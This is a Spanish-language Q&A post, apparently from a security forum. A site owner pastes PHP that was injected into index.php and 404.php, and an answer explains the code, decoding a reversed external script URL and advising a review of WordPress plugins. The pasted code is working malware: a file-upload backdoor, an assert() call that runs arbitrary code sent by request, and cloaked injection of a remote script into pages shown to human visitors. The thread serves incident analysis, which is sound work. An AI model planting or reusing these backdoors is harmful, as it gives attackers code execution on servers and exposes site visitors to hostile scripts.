Mi sitio fue hackeado y ha inyectado código en index.php y 404.php [duplicado]

0

Aquí está el código inyectado en index.php

if(@isset($_GET[bots])){
    echo '<form action="" method="post" enctype="multipart/form-data" name="silence" id="silence">';
    echo '<input type="file" name="file"><input name="golden" type="submit" id="golden" value="Done"></form>';
    if($_POST['golden']=="Done"){
        if(@copy($_FILES['file']['tmp_name'],$_FILES['file']['name'])){
            echo'+';
        }else{
            echo'-';
        }
    }
}elseif(isset($_REQUEST['bot']))assert(stripslashes($_REQUEST[bot]));
else exit;

y aquí está el código inyectado a 404.php:

@ini_set('display_errors','off');
@ini_set('log_errors',0);
@ini_set('error_log',NULL); error_reporting(0);
@ini_set('set_time_limit',0);
ignore_user_abort(true);
if(@isset($_POST['size']) and @isset($_FILES['img']['name'])) {
    @ini_set('upload_max_filesize','1000000');
    $size=$_POST['size'];
    $open_image=$_FILES['img']['name'];
    $open_image_tmp=$_FILES['img']['tmp_name']; 
    $image_tmp=$size.$open_image;
    @move_uploaded_file($open_image_tmp,$image_tmp);
    echo "<!-- 404-NOT-FOUND-IMG -->";
} else echo "<!-- 404-NOT-FOUND-ERROR -->";
$http_report_user = $_SERVER['HTTP_USER_AGENT'];
if ( @stripos ( $http_report_user, 'bot' ) == false and @stripos ( $http_report_user, 'google' ) == false and @stripos ( $http_report_user, 'yandex' ) == false and @stripos ( $http_report_user, 'slurp' ) == false and @stripos ( $http_report_user, 'yahoo' ) == false and @stripos ( $http_report_user, 'msn' ) == false and @stripos ( $http_report_user, 'bing' ) == false ) {
    $http_report = strtolower ( $_SERVER['HTTP_HOST'] );
    $wordpress_report = strrev ('=ecruos&wordpress?/moc.yadot-syasse//:ptth');
    $not_found_report = strrev ('=drowyek&');
    $not_found_page=str_ireplace('/','',$_SERVER['REQUEST_URI']);
    $not_found_page=str_ireplace('-',' ',$not_found_page);
    echo '<nofollow><noindex><script src="'.$wordpress_report.$http_report.$not_found_report.$not_found_page.'"></script></noindex></nofollow>';
}?>

Por favor, ayúdeme a encontrar dónde comenzó o la puerta trasera utilizada para inyectar dicho código malicioso. Además, ¿alguien puede decirme qué hace ese código?

    
pregunta Romeo M 08.08.2018 - 11:24
fuente

1 respuesta

0

Hay mucha ofuscación allí, pero estas dos líneas se destacan:

$wordpress_report = strrev ('=ecruos&wordpress?/moc.yadot-syasse//:ptth');
$not_found_report = strrev ('=drowyek&');

Parece que están intentando extraer un script de ese sitio (ensayos-hoy). Presumiblemente, ese es un dominio comprometido que han encontrado y explotado, y están incluyendo ese código en su sitio para propagarse.

echo '<nofollow><noindex><script src="'.$wordpress_report.$http_report.$not_found_report.$not_found_page.'"></script></noindex></nofollow>';

Esta línea toma la cadena formada en PHP y la imprime como HTML. Observe cómo lo hace: todas las variables se ingresan en las etiquetas dentro de <script> , por lo que está cargando esa cadena compuesta como una ubicación para algunos Javascript. Luego se ejecutará ese Javascript externo en su sitio.

¿Has instalado recientemente nuevos complementos para Wordpress? Hay varios con problemas de seguridad conocidos. Podría valer la pena instalar un plugin de comprobación 404. Cualquier solicitud que reciba su sitio que no se vincule en ningún lugar se mostrará, por lo que se mostrará cualquier solicitud de complementos no seguros, junto con la ubicación de donde provienen las solicitudes. Puede que no evalúe la situación, pero será una buena indicación de cómo y desde dónde te atacan.

    
respondido por el MK_Codes 08.08.2018 - 13:51
fuente

Lea otras preguntas en las etiquetas